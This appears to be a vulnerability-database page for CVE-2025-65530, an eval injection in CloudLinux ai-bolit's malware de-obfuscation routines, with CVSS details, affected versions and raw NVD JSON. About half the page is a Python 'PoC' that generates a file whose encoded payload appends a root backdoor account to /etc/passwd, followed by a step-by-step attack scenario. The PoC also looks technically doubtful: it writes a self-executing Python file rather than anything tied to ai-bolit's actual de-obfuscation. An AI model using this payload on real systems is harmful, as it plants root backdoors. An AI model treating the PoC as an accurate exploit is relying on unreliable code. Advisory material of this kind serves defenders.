Security Vulnerability Report
中文
CVE-2025-65530 CVSS 8.8 HIGH

CVE-2025-65530

Published: 2025-12-12 16:15:45
Last Modified: 2025-12-19 20:00:24

Description

An eval injection in the malware de-obfuscation routines of CloudLinux ai-bolit before v32.7.4 allows attackers to overwrite arbitrary files as root via scanning a crafted file.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cloudlinux:ai-bolit:*:*:*:*:*:*:*:* - VULNERABLE
ai-bolit < v32.7.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-65530 PoC - Malicious file for ai-bolit eval injection # This PoC demonstrates the concept of the eval injection vulnerability # DO NOT use for malicious purposes import base64 import os def generate_malicious_file(): """ Generate a malicious file that exploits the eval injection in ai-bolit de-obfuscation routines """ # Payload to write a backdoor file as root # This will be injected into the eval() call malicious_payload = "__import__('os').system('echo \"root:WVVmX3RoX2V4cGxvaXQ6MTIz:0:0:root:/root:/bin/bash\" >> /etc/passwd')" # Create a file that looks like obfuscated malware # The ai-bolit scanner will attempt to de-obfuscate it # and the malicious_payload will be executed via eval() # Simple obfuscation layer (base64 encoding) obfuscated = base64.b64encode(malicious_payload.encode()).decode() # Create the malicious file content # Format that ai-bolit might try to de-obfuscate malicious_content = f'''#!/usr/bin/env python3 # [Obfuscated malware sample - DO NOT RUN] # ai-bolit will attempt to de-obfuscate this encoded_payload = "{obfuscated}" decoded_payload = __import__('base64').b64decode(encoded_payload).decode() # Vulnerable code: ai-bolit de-obfuscation routine # This eval() call is vulnerable to injection try: exec(decoded_payload) except: eval(decoded_payload) ''' return malicious_content def main(): print("CVE-2025-65530 - CloudLinux ai-bolit Eval Injection PoC") print("=" * 60) print() print("This PoC generates a malicious file that, when scanned by") print("vulnerable ai-bolit versions, can execute arbitrary code") print("with root privileges.") print() print("Generated malicious file content:") print("-" * 60) content = generate_malicious_file() print(content) print("-" * 60) print() print("Attack scenario:") print("1. Attacker creates a malicious file using this template") print("2. Attacker places the file on the target system") print("3. When ai-bolit scans the file, the eval injection triggers") print("4. Attacker gains root code execution") print("5. Attacker can overwrite arbitrary files as root") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65530", "sourceIdentifier": "[email protected]", "published": "2025-12-12T16:15:44.687", "lastModified": "2025-12-19T20:00:23.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An eval injection in the malware de-obfuscation routines of CloudLinux ai-bolit before v32.7.4 allows attackers to overwrite arbitrary files as root via scanning a crafted file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-95"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cloudlinux:ai-bolit:*:*:*:*:*:*:*:*", "versionEndExcluding": "32.7.4-1", "matchCriteriaId": "204C7141-A49F-4FE8-ACD6-6C16BEDC6D56"}]}]}], "references": [{"url": "http://ai-bolit.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://cloudlinux.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://blog.imunify360.com/security-advisory-imunify-ai-bolit-vulnerability", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}